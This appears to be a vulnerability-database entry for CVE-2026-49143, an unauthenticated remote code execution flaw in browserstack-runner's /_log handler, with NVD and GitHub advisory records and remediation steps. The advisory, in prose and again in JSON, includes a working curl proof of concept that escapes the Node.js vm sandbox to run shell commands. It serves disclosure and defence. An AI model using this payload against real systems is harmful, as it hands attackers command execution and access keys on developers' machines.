Vulnerability-Lookup

CVE-2026-49143 (GCVE-0-2026-49143)

Vulnerability from cvelistv5 – Published: 2026-06-02 20:31 – Updated: 2026-08-14 16:50 Unsupported When Assigned X_Open Source

Title

BrowserStack Runner 0.9.5 Unauthenticated RCE via /_log HTTP Handler

Summary

BrowserStack Runner through 0.9.5 contains a remote code execution vulnerability in the /_log HTTP handler that allows unauthenticated network-adjacent attackers to execute arbitrary code by submitting crafted JSON request bodies to the handler, which passes user-supplied data to vm.runInNewContext() combined with eval(). Attackers can escape the Node.js vm sandbox by leveraging a host-context Function reference through util.format to access the host process via this.constructor.constructor, achieving full remote code execution on the underlying system without any authentication.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

8.8 (High)


                        
                          CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-03 14:02 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

VulnCheck mitre root

References

2 references

URL	Tags
https://github.com/browserstack/browserstack-runn…	vendor-advisory
https://www.vulncheck.com/advisories/browserstack…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version	CPE status
browserstack	browserstack-runner	Affected: 0 , ≤ 0.9.5 (semver) cpe:2.3:a:browserstack:browserstack-local::::::node.js::*

Date Public

2026-05-26 00:00

Credits

Christ Bouchuen

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-49143

Vulnerability from fkie_nvd - Published: 2026-06-02 21:16 - Updated: 2026-07-22 19:10

Severity

8.8 (High) - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	disclosure@vulncheck.com	https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5
	disclosure@vulncheck.com	https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-49143",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-03T14:02:08.658694Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-02T21:16:28.070",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

GHSA-6VR3-7WCX-V5G5

Vulnerability from github – Published: 2026-06-03 21:39 – Updated: 2026-06-03 21:39

Summary

browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler

Details

Summary

The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.

Details

When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:

// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);

The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().

Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.

Proof of Concept

# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js

# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
  -H "Content-Type: application/json" \
  -d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'

# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...

Impact

An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.

Remediation

Remove eval() and vm.runInNewContext() from the _log handler — use JSON.stringify() for safe logging
Add UUID authentication to _log (matching _progress and _report handlers)
Bind the HTTP server on 127.0.0.1 instead of 0.0.0.0

Credit

Christ Bowel Bouchuen

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "browserstack-runner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49143"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:39:32Z",
    "nvd_published_at": "2026-06-02T21:16:28Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe HTTP handler `/_log` in `lib/server.js` (lines 491\u2013515) of browserstack-runner passes unauthenticated user-supplied data to `vm.runInNewContext()` combined with `eval()`, enabling a sandbox escape and arbitrary code execution on the host system.\n\n### Details\n\nWhen `browserstack-runner` starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (`0.0.0.0`). The `/_log` endpoint accepts POST requests and processes the JSON body as follows:\n\n```javascript\n// lib/server.js lines 504-510\nvar context = { input: query.arguments, format: util.format, output: \u0027\u0027 };\nvar tryEvalOrString = \u0027function (arg) { try { return eval(\\\u0027o = \\\u0027 + arg); } catch (e) { return arg; } }\u0027;\nvm.runInNewContext(\u0027output = format.apply(null, input.map(\u0027 + tryEvalOrString + \u0027));\u0027, context);\n```\n\nThe `vm` module is [not a security mechanism](https://nodejs.org/api/vm.html#vm-executing-javascript) per Node.js documentation. The `context` object contains a reference to `util.format` (a host-context Function), enabling sandbox escape via `this.constructor.constructor(\"return process\")()`.\n\nUnlike the `_progress` and `_report` handlers which verify worker UUID authentication, the `_log` handler does not gate on authentication.\n\n### Proof of Concept\n\n```bash\n# Terminal 1: start the runner\necho \u0027\u003chtml\u003e\u003cbody\u003et\u003c/body\u003e\u003c/html\u003e\u0027 \u003e t.html\necho \u0027{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"t.html\",\"test_framework\":\"qunit\",\"browsers\":[]}\u0027 \u003e browserstack.json\nnode bin/runner.js\n\n# Terminal 2: exploit\ncurl -s http://127.0.0.1:8888/_log \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"arguments\":[\"this.constructor.constructor(\\\"return process.mainModule.require(\\`child_process\\`).execSync(\\`id\\`).toString()\\\")()\"]}\u0027\n\n# Terminal 1 output shows:\n# [undefined] uid=1000(user) gid=1000(user) ...\n```\n\n### Impact\n\nAn attacker on the same network as a developer running `browserstack-runner` can execute arbitrary commands on the developer\u0027s machine without authentication. The attack window exists for the duration of the test run (typically 1\u201315 minutes). The BrowserStack access key is accessible in the same process context via environment variables.\n\n### Remediation\n\n1. Remove `eval()` and `vm.runInNewContext()` from the `_log` handler \u2014 use `JSON.stringify()` for safe logging\n2. Add UUID authentication to `_log` (matching `_progress` and `_report` handlers)\n3. Bind the HTTP server on `127.0.0.1` instead of `0.0.0.0`\n\n### Credit\n\nChrist Bowel Bouchuen",
  "id": "GHSA-6vr3-7wcx-v5g5",
  "modified": "2026-06-03T21:39:32Z",
  "published": "2026-06-03T21:39:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49143"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/browserstack/browserstack-runner"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

CVE-2026-49143 (GCVE-0-2026-49143)

FKIE_CVE-2026-49143

GHSA-6VR3-7WCX-V5G5

Summary

Details

Proof of Concept

Impact

Remediation

Credit

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